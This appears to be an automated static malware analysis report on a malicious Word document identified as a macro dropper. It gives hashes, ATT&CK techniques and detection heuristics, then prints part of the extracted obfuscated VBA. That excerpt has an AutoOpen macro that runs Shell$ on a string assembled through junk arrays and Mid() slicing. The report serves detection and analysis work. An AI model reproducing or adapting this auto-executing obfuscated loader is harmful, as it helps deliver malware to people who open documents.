Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 abb10f847664c393…

MALICIOUS

Office (OLE)

139.5 KB Created: 2017-11-21 16:56:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: 41f9e059dab25ba1c9c37a48127725ee SHA-1: 1bb1d3097ec4337d2920404255b133220a50f1d2 SHA-256: abb10f847664c39387d2b3dfb20f48cbfe01c52c61b442dd65521b558be2e63c
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical heuristic for a Shell() call within VBA macros, indicating execution of external commands. The AutoOpen macro is obfuscated and designed to execute a payload. The presence of a suspicious, unknown reputation URL suggests it is used for command and control or payload delivery. The ClamAV signature 'Doc.Dropper.Agent-6380171-0' further confirms its malicious nature as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6380171-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6380171-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://HOF+HOFwHOF+HOFwHOF+HOFwHOF+HOF.eHOF+JhP+JhPHOFmHOF+HOFaHOF+HOFilaHOF+HO1uz3pU5m5j In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 149563 bytes
SHA-256: b6ffcee0d34145ebb5e24c6abcb651a89c5bccc9884401b15613d10220685a85
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 88 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uMNjwuClA"
Sub AutoOpen()
nIwQQwlzb = Array("KLKkTdir", "SDjsRnaY", "QfEwISPJ", "jffZuVwO", "jimiIzHN")
bkAXMuWVV = Array("szQhBSsv", "ADnwIwwG", "UJjAvQRY", "rUYRszlJ", "JECWfhhP")
ujHvTPTnD = Array("QrknUZci", "rqjtbDDS", "doDuabmb", "TGMIVFbB", "lNbGBWpf")
Shell$ zilrlXIhU, 0
annrBVSfE = Array("dpbPsdpE", "ITNMTNmO", "iINcwQHw", "YUmnvawo", "hEsPAlsj")
lBsDbSGaB = Array("dWNEDHMi", "crYqCJiU", "ZfOUWNsP", "dqvYEXFN", "MlSDljiz")
fhYuUtjrJ = Array("iBnsFiPi", "zaMLodEl", "KdQrfjqB", "RpppzukH", "DOVVSVHH")
End Sub
Function zilrlXIhU()
skWsmjwijEu = "szjNassMZBrAMT5rO36Ytzq0vslTZoNXqPfJSVEGKHjnjjhSasUXZzVFOEBDjBLhNZuQmQROmTXoizpMKTthTqwruavOUBWJvzZHoQjKaGlGbhaOOpsQHdNXaDWLUDulzOsfZizl"
HVsko = Array("MphmknhQ", "TaZIGwER", "ZlttrDQR", "qfMFfvHZ", "rmViGbiw")
MJSQbvn = Mid(skWsmjwijEu, 25, 110)
PKnKnoKvwL = Array("FnAdqHwa", "hHdMkwMN", "irihXoNO", "kwQuJPRw", "zfRQFIAr")
KHKzb = "WWRRjIFqVHhm4ikzHtGhS1SzwzipVZlXLpiHsNGLQamTFjYTNkKqaqEbw"
HViCRbhVG = Array("qjhNLUQi", "brdZRlpQ", "iYpJbrId", "iUASIEoH", "jlzLpNtU")
OCsjwzD = Mid(KHKzb, 25, 26)
mZuJPi = Array("oKifEnJk", "mNKqjZVm", "ODQprXbF", "puMSbIfq", "pNQQwGTi")
WkGBGG = "6NzDhqDtDUunC9L7Adw1qYmHlmNzBqTIhAChfRQcDqQXMjsDnpjwZSMYGTNkdUaFUBDOsOqpaDETIOvBuKJLKWiPoibLDfwjQKDKjdKZzqVWOsPsYMqTKPvzSoZOmiluEVDzLkVQzjLTBMBwOjnrpfYAPGsrEwmVFaRtoDpa9idnhwS"
AwZEGclF = Array("fPwlqond", "TBujrpMD", "iAiJUuwd", "BnhiFibl", "TriAtjCl")
jKtMzAmo = Mid(WkGBGG, 22, 144)
HCoapwzBN = Array("vwuIWOqZ", "iAnmhBBf", "DUjJPrSt", "ZNuwdEwz", "EDwXDRAo")
JFnkNvFm = "u7HwHchjzFflXpGKbNNWRYzmGrHMrFCLaIbBWfGhzYXrAlAdsPCiVGzludjKSftvtXLPNFowHfZsAGmVqdUbCXpTIqHtwvPRiczcalQnbGXqhHknqNTpLRsWirHXzuALQHNXJKuFMjzwzwmAFTDibZGMjbuidtqhFMaZtNijSOciSwWjFGRdrRjqBAnhPMcTqSqnYMGspWPNwbuiL5n"
LinhJQS = Array("FkcRflAw", "SRLiQQjX", "MIipUQUH", "ajWzcqvh", "jCwTjnzw")
MzGSsX = Mid(JFnkNvFm, 12, 196)
qYuTXv = Array("fRnNkYCc", "XtjYwziR", "snDBEIEi", "ivElIQTz", "CzXoVLEA")
EZfoEBDRzH = "qEELfaFALAoAnFLdXbMqocjYtZwQGmIozFiLtzYnUCVuZFAcEjFsdcCKonNTsFJbnmviWAjXCYVmGoznZUMXjQLXDXWGmFuOsuHmKSFEzhpEGQEAnZuYtmuWbfWAbdwWpvWAv"
RWLqazZzR = Array("caqNKjbI", "BDfFKZrd", "TZVLiCzG", "OQsszBTq", "djzTiCva")
lazPnICJnEs = Mid(EZfoEBDRzH, 13, 109)
pZZlcTAZfQ = Array("wkidOiBU", "WGDLzAjr", "jrTbuUQF", "HCDwUQrm", "TEAfYtOn")
isFmWbwjww = "aTvYKYpLB4OjRu43BqfjYtmiHNEsPMzhziIFBSlCjluUqWLAJNpvpjRwiZVzTinKMmDPcrMatXBnzSslBEjCXEsTNKbcwlizzkHDSwXRAPBRidwLjkwOzknIujBRPjdHoDpPKoSFhRCICapjLPwLnUwNzzJiuFCQludbojBrRshiiiGTuRGznSTUFcSLfkLbOlWHzOvbOEuvnPiStpoczCdTa6j7whpmm3LBz"
NSVlDcGFqfa = Array("WCHBfFMc", "JszHAYTq", "jpDuzqHw", "EwchzwnE", "oRZGqRJS")
vfzsDRq = Mid(isFmWbwjww, 21, 197)
icTflVsKsOJ = Array("ozfcpUSa", "WZstDBms", "lzhwIzSp", "YvUcSaUt", "QWEpEhJP")
pcZbFa = "94jAthjXmdMPCKQIUwqbnEnUiYTGdBiJjZkYYNsVtNBYjEfQXTDHEFzNsKTFXZMlwCidZskHGVhZCOnZtDjKzWFaZXfNtmwUAQZdVBqJIUrLAKPzCjdwjzLuaEsRXZuzWvONNj"
OBMEDfPfqE = Array("RshDCVvC", "vJuRLkwv", "qqWuqiYt", "mzoPCwDS", "hqSCdqmr")
wpHrD = Mid(pcZbFa, 9, 95)
oaccOKp = Array("FkfjnZba", "BuLfUdpD", "NGVjuKuo", "NtjsBIHN", "rFbszvYi")
TzCAEDTSuz = "LAKvlzFlZXEZNqrTQSUjdsmCIckOdbwXRjiGWDFmrzLPOuOASNjnHAliboOc4HuNLCDR"
zuhUGujaNNR = Array("ijSiMcaW", "TicnuvrO", "stJspAWW", "ltiFZLtC", "tZBYOGAk")
jYHAhwJ = Mid(TzCAEDTSuz, 7, 51)
LDjjNi = Array("whGWuutD", "CjhpZiLS", "jwlkFhpN", "NCEthfzo", "HTIzYdEM")
lSPJKbV = "nNKqr4haUV5TNBXizddlzdGtMhMdGOIXzaGQnTVSMLWVGzkLmnFaWwsbzWrSbwnKlOvwVGrjHKZO59q10JND"
BicTnci = Array("rLSZEhbL", "jJWKAqKb", "CTnianln", "OWqoOQPV", "OvkFGuFL")
zXjUoFtzAm = Mid(lSPJKbV, 15, 60)
ucrmkcHi = Array("AVdjENih", "CUOSJhpG", "lRScQYTJ", "tVnvvPGr", "cVTZrQDW")
aJPwbVF = "Ldo2ubjqiVCvTj3OPmRLmjLfhCfjXoLKvmdwlKblsHzzprENRYLclOwrzJBENijXEQrhbinImzSfjOqpwSRwcjZjomwbJWYOYZsZzXlilDqmwSHlTLGvMlvVrKtpkLwPaDHJWRpajjMYtmjVi
... (truncated)

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